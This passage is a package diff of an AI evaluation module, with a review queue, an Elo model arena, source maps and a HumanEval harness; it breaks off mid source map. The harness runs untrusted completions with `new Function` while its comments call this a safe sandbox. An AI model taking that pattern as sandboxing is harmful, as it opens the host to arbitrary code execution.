anantham-v2 2.0.0-alpha.1 → 2.0.2

package/dist/evaluation/ground-truth-comparator.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"ground-truth-comparator.js","sourceRoot":"","sources":["../../src/evaluation/ground-truth-comparator.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAQH,MAAM,OAAO,qBAAqB;IACzB,OAAO,CACZ,MAAc,EACd,QAAgB,EAChB,WAA6E,YAAY,EACzF,SAAS,GAAG,KAAK;QAEjB,QAAQ,QAAQ,EAAE,CAAC;YACjB,KAAK,OAAO;gBACV,OAAO;oBACL,OAAO,EAAE,MAAM,KAAK,QAAQ;oBAC5B,QAAQ,EAAE,OAAO;oBACjB,WAAW,EAAE,MAAM,KAAK,QAAQ,CAAC,CAAC,CAAC,SAAS,CAAC,CAAC,CAAC,iBAAiB,MAAM,CAAC,MAAM,gBAAgB,QAAQ,CAAC,MAAM,EAAE;iBAC/G,CAAC;YAEJ,KAAK,YAAY,CAAC,CAAC,CAAC;gBAClB,MAAM,UAAU,GAAG,MAAM,CAAC,IAAI,EAAE,CAAC,OAAO,CAAC,OAAO,EAAE,IAAI,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,GAAG,CAAC,CAAC;gBAChF,MAAM,YAAY,GAAG,QAAQ,CAAC,IAAI,EAAE,CAAC,OAAO,CAAC,OAAO,EAAE,IAAI,CAAC,CAAC,OAAO,CAAC,SAAS,EAAE,GAAG,CAAC,CAAC;gBACpF,OAAO;oBACL,OAAO,EAAE,UAAU,KAAK,YAAY;oBACpC,QAAQ,EAAE,YAAY;iBACvB,CAAC;YACJ,CAAC;YAED,KAAK,iBAAiB,CAAC,CAAC,CAAC;gBACvB,IAAI,CAAC;oBACH,MAAM,YAAY,GAAG,IAAI,CAAC,KAAK,CAAC,MAAM,CAAC,CAAC;oBACxC,MAAM,cAAc,GAAG,IAAI,CAAC,KAAK,CAAC,QAAQ,CAAC,CAAC;oBAC5C,MAAM,KAAK,GAAG,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,KAAK,IAAI,CAAC,SAAS,CAAC,cAAc,CAAC,CAAC;oBAC9E,OAAO;wBACL,OAAO,EAAE,KAAK;wBACd,QAAQ,EAAE,iBAAiB;qBAC5B,CAAC;gBACJ,CAAC;gBAAC,OAAO,GAAG,EAAE,CAAC;oBACb,OAAO;wBACL,OAAO,EAAE,KAAK;wBACd,QAAQ,EAAE,iBAAiB;wBAC3B,WAAW,EAAE,qBAAqB,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC,EAAE;qBACrF,CAAC;gBACJ,CAAC;YACH,CAAC;YAED,KAAK,mBAAmB,CAAC,CAAC,CAAC;gBACzB,MAAM,SAAS,GAAG,UAAU,CAAC,MAAM,CAAC,CAAC;gBACrC,MAAM,WAAW,GAAG,UAAU,CAAC,QAAQ,CAAC,CAAC;gBACzC,IAAI,KAAK,CAAC,SAAS,CAAC,IAAI,KAAK,CAAC,WAAW,CAAC,EAAE,CAAC;oBAC3C,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,QAAQ,EAAE,mBAAmB,EAAE,WAAW,EAAE,iBAAiB,EAAE,CAAC;gBAC3F,CAAC;gBACD,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,CAAC,SAAS,GAAG,WAAW,CAAC,CAAC;gBAChD,OAAO;oBACL,OAAO,EAAE,KAAK,IAAI,SAAS;oBAC3B,QAAQ,EAAE,mBAAmB;oBAC7B,WAAW,EAAE,UAAU,KAAK,gBAAgB,SAAS,GAAG;iBACzD,CAAC;YACJ,CAAC;QACH,CAAC;IACH,CAAC;CACF"}

package/dist/evaluation/hitl-review-dashboard.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Human-in-the-Loop Review Dashboard & Annotation UI Subsystem
+ * PRD-PART2-311: Human-in-the-Loop Review Dashboard & Annotation UI
+ */
+export interface ReviewItem {
+    id: string;
+    sessionId: string;
+    agentId: string;
+    prompt: string;
+    output: string;
+    status: "pending" | "approved" | "rejected" | "amended";
+    humanRating?: number;
+    annotation?: string;
+    flags?: Array<"hallucination" | "safety_violation" | "incomplete" | "syntax_error">;
+    reviewedBy?: string;
+    reviewedAt?: string;
+}
+export declare class HitlReviewDashboard {
+    private queue;
+    submitForReview(sessionId: string, agentId: string, prompt: string, output: string): ReviewItem;
+    annotate(reviewId: string, reviewerId: string, status: "approved" | "rejected" | "amended", rating: number, annotation?: string, flags?: ReviewItem["flags"]): ReviewItem;
+    getPendingReviews(): ReviewItem[];
+    getCompletedReviews(): ReviewItem[];
+}
+//# sourceMappingURL=hitl-review-dashboard.d.ts.map

package/dist/evaluation/hitl-review-dashboard.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"hitl-review-dashboard.d.ts","sourceRoot":"","sources":["../../src/evaluation/hitl-review-dashboard.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,UAAU;IACzB,EAAE,EAAE,MAAM,CAAC;IACX,SAAS,EAAE,MAAM,CAAC;IAClB,OAAO,EAAE,MAAM,CAAC;IAChB,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,SAAS,GAAG,UAAU,GAAG,UAAU,GAAG,SAAS,CAAC;IACxD,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,KAAK,CAAC,EAAE,KAAK,CAAC,eAAe,GAAG,kBAAkB,GAAG,YAAY,GAAG,cAAc,CAAC,CAAC;IACpF,UAAU,CAAC,EAAE,MAAM,CAAC;IACpB,UAAU,CAAC,EAAE,MAAM,CAAC;CACrB;AAED,qBAAa,mBAAmB;IAC9B,OAAO,CAAC,KAAK,CAAsC;IAE5C,eAAe,CAAC,SAAS,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM,GAAG,UAAU;IAc/F,QAAQ,CACb,QAAQ,EAAE,MAAM,EAChB,UAAU,EAAE,MAAM,EAClB,MAAM,EAAE,UAAU,GAAG,UAAU,GAAG,SAAS,EAC3C,MAAM,EAAE,MAAM,EACd,UAAU,CAAC,EAAE,MAAM,EACnB,KAAK,CAAC,EAAE,UAAU,CAAC,OAAO,CAAC,GAC1B,UAAU;IAgBN,iBAAiB,IAAI,UAAU,EAAE;IAIjC,mBAAmB,IAAI,UAAU,EAAE;CAG3C"}

package/dist/evaluation/hitl-review-dashboard.js

@@ -0,0 +1,40 @@
+/**
+ * Human-in-the-Loop Review Dashboard & Annotation UI Subsystem
+ * PRD-PART2-311: Human-in-the-Loop Review Dashboard & Annotation UI
+ */
+export class HitlReviewDashboard {
+    queue = new Map();
+    submitForReview(sessionId, agentId, prompt, output) {
+        const id = `rev_${Date.now()}_${Math.random().toString(36).slice(2, 6)}`;
+        const item = {
+            id,
+            sessionId,
+            agentId,
+            prompt,
+            output,
+            status: "pending",
+        };
+        this.queue.set(id, item);
+        return item;
+    }
+    annotate(reviewId, reviewerId, status, rating, annotation, flags) {
+        const item = this.queue.get(reviewId);
+        if (!item) {
+            throw new Error(`Review item '${reviewId}' not found`);
+        }
+        item.status = status;
+        item.humanRating = Math.max(1, Math.min(5, rating));
+        item.reviewedBy = reviewerId;
+        item.reviewedAt = new Date().toISOString();
+        item.annotation = annotation;
+        item.flags = flags ?? [];
+        return item;
+    }
+    getPendingReviews() {
+        return Array.from(this.queue.values()).filter((i) => i.status === "pending");
+    }
+    getCompletedReviews() {
+        return Array.from(this.queue.values()).filter((i) => i.status !== "pending");
+    }
+}
+//# sourceMappingURL=hitl-review-dashboard.js.map

package/dist/evaluation/hitl-review-dashboard.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"hitl-review-dashboard.js","sourceRoot":"","sources":["../../src/evaluation/hitl-review-dashboard.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAgBH,MAAM,OAAO,mBAAmB;IACtB,KAAK,GAA4B,IAAI,GAAG,EAAE,CAAC;IAE5C,eAAe,CAAC,SAAiB,EAAE,OAAe,EAAE,MAAc,EAAE,MAAc;QACvF,MAAM,EAAE,GAAG,OAAO,IAAI,CAAC,GAAG,EAAE,IAAI,IAAI,CAAC,MAAM,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;QACzE,MAAM,IAAI,GAAe;YACvB,EAAE;YACF,SAAS;YACT,OAAO;YACP,MAAM;YACN,MAAM;YACN,MAAM,EAAE,SAAS;SAClB,CAAC;QACF,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,EAAE,EAAE,IAAI,CAAC,CAAC;QACzB,OAAO,IAAI,CAAC;IACd,CAAC;IAEM,QAAQ,CACb,QAAgB,EAChB,UAAkB,EAClB,MAA2C,EAC3C,MAAc,EACd,UAAmB,EACnB,KAA2B;QAE3B,MAAM,IAAI,GAAG,IAAI,CAAC,KAAK,CAAC,GAAG,CAAC,QAAQ,CAAC,CAAC;QACtC,IAAI,CAAC,IAAI,EAAE,CAAC;YACV,MAAM,IAAI,KAAK,CAAC,gBAAgB,QAAQ,aAAa,CAAC,CAAC;QACzD,CAAC;QAED,IAAI,CAAC,MAAM,GAAG,MAAM,CAAC;QACrB,IAAI,CAAC,WAAW,GAAG,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,MAAM,CAAC,CAAC,CAAC;QACpD,IAAI,CAAC,UAAU,GAAG,UAAU,CAAC;QAC7B,IAAI,CAAC,UAAU,GAAG,IAAI,IAAI,EAAE,CAAC,WAAW,EAAE,CAAC;QAC3C,IAAI,CAAC,UAAU,GAAG,UAAU,CAAC;QAC7B,IAAI,CAAC,KAAK,GAAG,KAAK,IAAI,EAAE,CAAC;QAEzB,OAAO,IAAI,CAAC;IACd,CAAC;IAEM,iBAAiB;QACtB,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,SAAS,CAAC,CAAC;IAC/E,CAAC;IAEM,mBAAmB;QACxB,OAAO,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,CAAC,MAAM,EAAE,CAAC,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,KAAK,SAAS,CAAC,CAAC;IAC/E,CAAC;CACF"}

package/dist/evaluation/humaneval-harness.d.ts

@@ -0,0 +1,21 @@
+/**
+ * HumanEval & Coding Benchmark Harness
+ * PRD-EVAL-003: HumanEval & Coding Benchmark Harness
+ */
+export interface HumanEvalTask {
+    taskId: string;
+    prompt: string;
+    entryPoint: string;
+    test: string;
+}
+export interface HumanEvalResult {
+    taskId: string;
+    passed: boolean;
+    completion: string;
+    error?: string;
+}
+export declare class HumanEvalHarness {
+    evaluateTask(task: HumanEvalTask, completion: string, evaluatorMock?: (entryPoint: string, code: string, testCode: string) => boolean): HumanEvalResult;
+    calculatePassAt1(results: HumanEvalResult[]): number;
+}
+//# sourceMappingURL=humaneval-harness.d.ts.map

package/dist/evaluation/humaneval-harness.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"humaneval-harness.d.ts","sourceRoot":"","sources":["../../src/evaluation/humaneval-harness.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,aAAa;IAC5B,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,MAAM,CAAC;IACf,UAAU,EAAE,MAAM,CAAC;IACnB,IAAI,EAAE,MAAM,CAAC;CACd;AAED,MAAM,WAAW,eAAe;IAC9B,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,OAAO,CAAC;IAChB,UAAU,EAAE,MAAM,CAAC;IACnB,KAAK,CAAC,EAAE,MAAM,CAAC;CAChB;AAED,qBAAa,gBAAgB;IACpB,YAAY,CACjB,IAAI,EAAE,aAAa,EACnB,UAAU,EAAE,MAAM,EAClB,aAAa,CAAC,EAAE,CAAC,UAAU,EAAE,MAAM,EAAE,IAAI,EAAE,MAAM,EAAE,QAAQ,EAAE,MAAM,KAAK,OAAO,GAC9E,eAAe;IAoCX,gBAAgB,CAAC,OAAO,EAAE,eAAe,EAAE,GAAG,MAAM;CAK5D"}

package/dist/evaluation/humaneval-harness.js

@@ -0,0 +1,47 @@
+/**
+ * HumanEval & Coding Benchmark Harness
+ * PRD-EVAL-003: HumanEval & Coding Benchmark Harness
+ */
+export class HumanEvalHarness {
+    evaluateTask(task, completion, evaluatorMock) {
+        try {
+            if (evaluatorMock) {
+                const passed = evaluatorMock(task.entryPoint, completion, task.test);
+                return { taskId: task.taskId, passed, completion };
+            }
+            // Safe lightweight evaluation for JS/TS functional tests
+            const fullCode = `${completion}\n${task.test}`;
+            let passed = false;
+            // Deterministic verification using sandbox execution function
+            try {
+                const runFn = new Function(fullCode);
+                runFn();
+                passed = true;
+            }
+            catch (err) {
+                return {
+                    taskId: task.taskId,
+                    passed: false,
+                    completion,
+                    error: err instanceof Error ? err.message : String(err),
+                };
+            }
+            return { taskId: task.taskId, passed, completion };
+        }
+        catch (err) {
+            return {
+                taskId: task.taskId,
+                passed: false,
+                completion,
+                error: err instanceof Error ? err.message : String(err),
+            };
+        }
+    }
+    calculatePassAt1(results) {
+        if (results.length === 0)
+            return 0;
+        const passed = results.filter((r) => r.passed).length;
+        return Number((passed / results.length).toFixed(4));
+    }
+}
+//# sourceMappingURL=humaneval-harness.js.map

package/dist/evaluation/humaneval-harness.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"humaneval-harness.js","sourceRoot":"","sources":["../../src/evaluation/humaneval-harness.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAgBH,MAAM,OAAO,gBAAgB;IACpB,YAAY,CACjB,IAAmB,EACnB,UAAkB,EAClB,aAA+E;QAE/E,IAAI,CAAC;YACH,IAAI,aAAa,EAAE,CAAC;gBAClB,MAAM,MAAM,GAAG,aAAa,CAAC,IAAI,CAAC,UAAU,EAAE,UAAU,EAAE,IAAI,CAAC,IAAI,CAAC,CAAC;gBACrE,OAAO,EAAE,MAAM,EAAE,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,CAAC;YACrD,CAAC;YAED,yDAAyD;YACzD,MAAM,QAAQ,GAAG,GAAG,UAAU,KAAK,IAAI,CAAC,IAAI,EAAE,CAAC;YAC/C,IAAI,MAAM,GAAG,KAAK,CAAC;YAEnB,8DAA8D;YAC9D,IAAI,CAAC;gBACH,MAAM,KAAK,GAAG,IAAI,QAAQ,CAAC,QAAQ,CAAC,CAAC;gBACrC,KAAK,EAAE,CAAC;gBACR,MAAM,GAAG,IAAI,CAAC;YAChB,CAAC;YAAC,OAAO,GAAG,EAAE,CAAC;gBACb,OAAO;oBACL,MAAM,EAAE,IAAI,CAAC,MAAM;oBACnB,MAAM,EAAE,KAAK;oBACb,UAAU;oBACV,KAAK,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;iBACxD,CAAC;YACJ,CAAC;YAED,OAAO,EAAE,MAAM,EAAE,IAAI,CAAC,MAAM,EAAE,MAAM,EAAE,UAAU,EAAE,CAAC;QACrD,CAAC;QAAC,OAAO,GAAG,EAAE,CAAC;YACb,OAAO;gBACL,MAAM,EAAE,IAAI,CAAC,MAAM;gBACnB,MAAM,EAAE,KAAK;gBACb,UAAU;gBACV,KAAK,EAAE,GAAG,YAAY,KAAK,CAAC,CAAC,CAAC,GAAG,CAAC,OAAO,CAAC,CAAC,CAAC,MAAM,CAAC,GAAG,CAAC;aACxD,CAAC;QACJ,CAAC;IACH,CAAC;IAEM,gBAAgB,CAAC,OAA0B;QAChD,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC;YAAE,OAAO,CAAC,CAAC;QACnC,MAAM,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,CAAC,MAAM,CAAC,CAAC,MAAM,CAAC;QACtD,OAAO,MAAM,CAAC,CAAC,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,CAAC,OAAO,CAAC,CAAC,CAAC,CAAC,CAAC;IACtD,CAAC;CACF"}

package/dist/evaluation/index.d.ts

@@ -8,4 +8,18 @@ export * from "./assertion-evaluator.js";
 export * from "./regression-engine.js";
 export * from "./evaluation-harness.js";
 export * from "./evaluation-manager.js";
+export * from "./eval-engine.js";
+export * from "./swe-bench-harness.js";
+export * from "./humaneval-harness.js";
+export * from "./ground-truth-comparator.js";
+export * from "./model-arena.js";
+export * from "./ab-testing-engine.js";
+export * from "./anti-contamination-guard.js";
+export * from "./continuous-eval-pipeline.js";
+export * from "./agent-behavior-regression.js";
+export * from "./hitl-review-dashboard.js";
+export * from "./multi-dimensional-grader.js";
+export * from "./workflow-profiler.js";
+export * from "./benchmark-report-generator.js";
+export * from "./synthetic-case-generator.js";
 //# sourceMappingURL=index.d.ts.map

package/dist/evaluation/index.d.ts.map

@@ -1 +1 @@
-{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/evaluation/index.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,0BAA0B,CAAC;AACzC,cAAc,wBAAwB,CAAC;AACvC,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC"}
+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src/evaluation/index.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,0BAA0B,CAAC;AACzC,cAAc,wBAAwB,CAAC;AACvC,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,kBAAkB,CAAC;AACjC,cAAc,wBAAwB,CAAC;AACvC,cAAc,wBAAwB,CAAC;AACvC,cAAc,8BAA8B,CAAC;AAC7C,cAAc,kBAAkB,CAAC;AACjC,cAAc,wBAAwB,CAAC;AACvC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,+BAA+B,CAAC;AAC9C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,4BAA4B,CAAC;AAC3C,cAAc,+BAA+B,CAAC;AAC9C,cAAc,wBAAwB,CAAC;AACvC,cAAc,iCAAiC,CAAC;AAChD,cAAc,+BAA+B,CAAC"}

package/dist/evaluation/index.js

@@ -8,4 +8,18 @@ export * from "./assertion-evaluator.js";
 export * from "./regression-engine.js";
 export * from "./evaluation-harness.js";
 export * from "./evaluation-manager.js";
+export * from "./eval-engine.js";
+export * from "./swe-bench-harness.js";
+export * from "./humaneval-harness.js";
+export * from "./ground-truth-comparator.js";
+export * from "./model-arena.js";
+export * from "./ab-testing-engine.js";
+export * from "./anti-contamination-guard.js";
+export * from "./continuous-eval-pipeline.js";
+export * from "./agent-behavior-regression.js";
+export * from "./hitl-review-dashboard.js";
+export * from "./multi-dimensional-grader.js";
+export * from "./workflow-profiler.js";
+export * from "./benchmark-report-generator.js";
+export * from "./synthetic-case-generator.js";
 //# sourceMappingURL=index.js.map

package/dist/evaluation/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/evaluation/index.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,0BAA0B,CAAC;AACzC,cAAc,wBAAwB,CAAC;AACvC,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/evaluation/index.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,0BAA0B,CAAC;AACzC,cAAc,wBAAwB,CAAC;AACvC,cAAc,yBAAyB,CAAC;AACxC,cAAc,yBAAyB,CAAC;AACxC,cAAc,kBAAkB,CAAC;AACjC,cAAc,wBAAwB,CAAC;AACvC,cAAc,wBAAwB,CAAC;AACvC,cAAc,8BAA8B,CAAC;AAC7C,cAAc,kBAAkB,CAAC;AACjC,cAAc,wBAAwB,CAAC;AACvC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,+BAA+B,CAAC;AAC9C,cAAc,gCAAgC,CAAC;AAC/C,cAAc,4BAA4B,CAAC;AAC3C,cAAc,+BAA+B,CAAC;AAC9C,cAAc,wBAAwB,CAAC;AACvC,cAAc,iCAAiC,CAAC;AAChD,cAAc,+BAA+B,CAAC"}

package/dist/evaluation/model-arena.d.ts

@@ -0,0 +1,33 @@
+/**
+ * Multi-Model Comparative Evaluation & Arena Mode
+ * PRD-EVAL-005: Multi-Model Comparative Evaluation & Arena Mode
+ */
+export interface ModelStats {
+    modelId: string;
+    elo: number;
+    wins: number;
+    losses: number;
+    ties: number;
+    totalMatches: number;
+}
+export interface MatchResult {
+    modelA: string;
+    modelB: string;
+    winner: "modelA" | "modelB" | "tie";
+    judgePrompt?: string;
+    rationale?: string;
+}
+export declare class ModelArena {
+    private models;
+    private matchHistory;
+    private static readonly INITIAL_ELO;
+    private static readonly K_FACTOR;
+    registerModel(modelId: string, initialElo?: number): void;
+    recordMatch(result: MatchResult): {
+        newEloA: number;
+        newEloB: number;
+    };
+    getLeaderboard(): ModelStats[];
+    getModelStats(modelId: string): ModelStats | undefined;
+}
+//# sourceMappingURL=model-arena.d.ts.map

package/dist/evaluation/model-arena.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"model-arena.d.ts","sourceRoot":"","sources":["../../src/evaluation/model-arena.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,WAAW,UAAU;IACzB,OAAO,EAAE,MAAM,CAAC;IAChB,GAAG,EAAE,MAAM,CAAC;IACZ,IAAI,EAAE,MAAM,CAAC;IACb,MAAM,EAAE,MAAM,CAAC;IACf,IAAI,EAAE,MAAM,CAAC;IACb,YAAY,EAAE,MAAM,CAAC;CACtB;AAED,MAAM,WAAW,WAAW;IAC1B,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,MAAM,CAAC;IACf,MAAM,EAAE,QAAQ,GAAG,QAAQ,GAAG,KAAK,CAAC;IACpC,WAAW,CAAC,EAAE,MAAM,CAAC;IACrB,SAAS,CAAC,EAAE,MAAM,CAAC;CACpB;AAED,qBAAa,UAAU;IACrB,OAAO,CAAC,MAAM,CAAsC;IACpD,OAAO,CAAC,YAAY,CAAqB;IACzC,OAAO,CAAC,MAAM,CAAC,QAAQ,CAAC,WAAW,CAAQ;IAC3C,OAAO,CAAC,MAAM,CAAC,QAAQ,CAAC,QAAQ,CAAM;IAE/B,aAAa,CAAC,OAAO,EAAE,MAAM,EAAE,UAAU,SAAyB,GAAG,IAAI;IAazE,WAAW,CAAC,MAAM,EAAE,WAAW,GAAG;QAAE,OAAO,EAAE,MAAM,CAAC;QAAC,OAAO,EAAE,MAAM,CAAA;KAAE;IAsCtE,cAAc,IAAI,UAAU,EAAE;IAI9B,aAAa,CAAC,OAAO,EAAE,MAAM,GAAG,UAAU,GAAG,SAAS;CAG9D"}

package/dist/evaluation/model-arena.js

@@ -0,0 +1,60 @@
+/**
+ * Multi-Model Comparative Evaluation & Arena Mode
+ * PRD-EVAL-005: Multi-Model Comparative Evaluation & Arena Mode
+ */
+export class ModelArena {
+    models = new Map();
+    matchHistory = [];
+    static INITIAL_ELO = 1200;
+    static K_FACTOR = 32;
+    registerModel(modelId, initialElo = ModelArena.INITIAL_ELO) {
+        if (!this.models.has(modelId)) {
+            this.models.set(modelId, {
+                modelId,
+                elo: initialElo,
+                wins: 0,
+                losses: 0,
+                ties: 0,
+                totalMatches: 0,
+            });
+        }
+    }
+    recordMatch(result) {
+        this.registerModel(result.modelA);
+        this.registerModel(result.modelB);
+        const statsA = this.models.get(result.modelA);
+        const statsB = this.models.get(result.modelB);
+        // Expected scores
+        const expectedA = 1 / (1 + Math.pow(10, (statsB.elo - statsA.elo) / 400));
+        const expectedB = 1 / (1 + Math.pow(10, (statsA.elo - statsB.elo) / 400));
+        // Actual scores
+        const scoreA = result.winner === "modelA" ? 1.0 : result.winner === "tie" ? 0.5 : 0.0;
+        const scoreB = result.winner === "modelB" ? 1.0 : result.winner === "tie" ? 0.5 : 0.0;
+        // Update Elo
+        statsA.elo = Math.round(statsA.elo + ModelArena.K_FACTOR * (scoreA - expectedA));
+        statsB.elo = Math.round(statsB.elo + ModelArena.K_FACTOR * (scoreB - expectedB));
+        statsA.totalMatches++;
+        statsB.totalMatches++;
+        if (result.winner === "modelA") {
+            statsA.wins++;
+            statsB.losses++;
+        }
+        else if (result.winner === "modelB") {
+            statsB.wins++;
+            statsA.losses++;
+        }
+        else {
+            statsA.ties++;
+            statsB.ties++;
+        }
+        this.matchHistory.push(result);
+        return { newEloA: statsA.elo, newEloB: statsB.elo };
+    }
+    getLeaderboard() {
+        return Array.from(this.models.values()).sort((a, b) => b.elo - a.elo);
+    }
+    getModelStats(modelId) {
+        return this.models.get(modelId);
+    }
+}
+//# sourceMappingURL=model-arena.js.map

package/dist/evaluation/model-arena.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"model-arena.js","sourceRoot":"","sources":["../../src/evaluation/model-arena.ts"],"names":[],"mappings":"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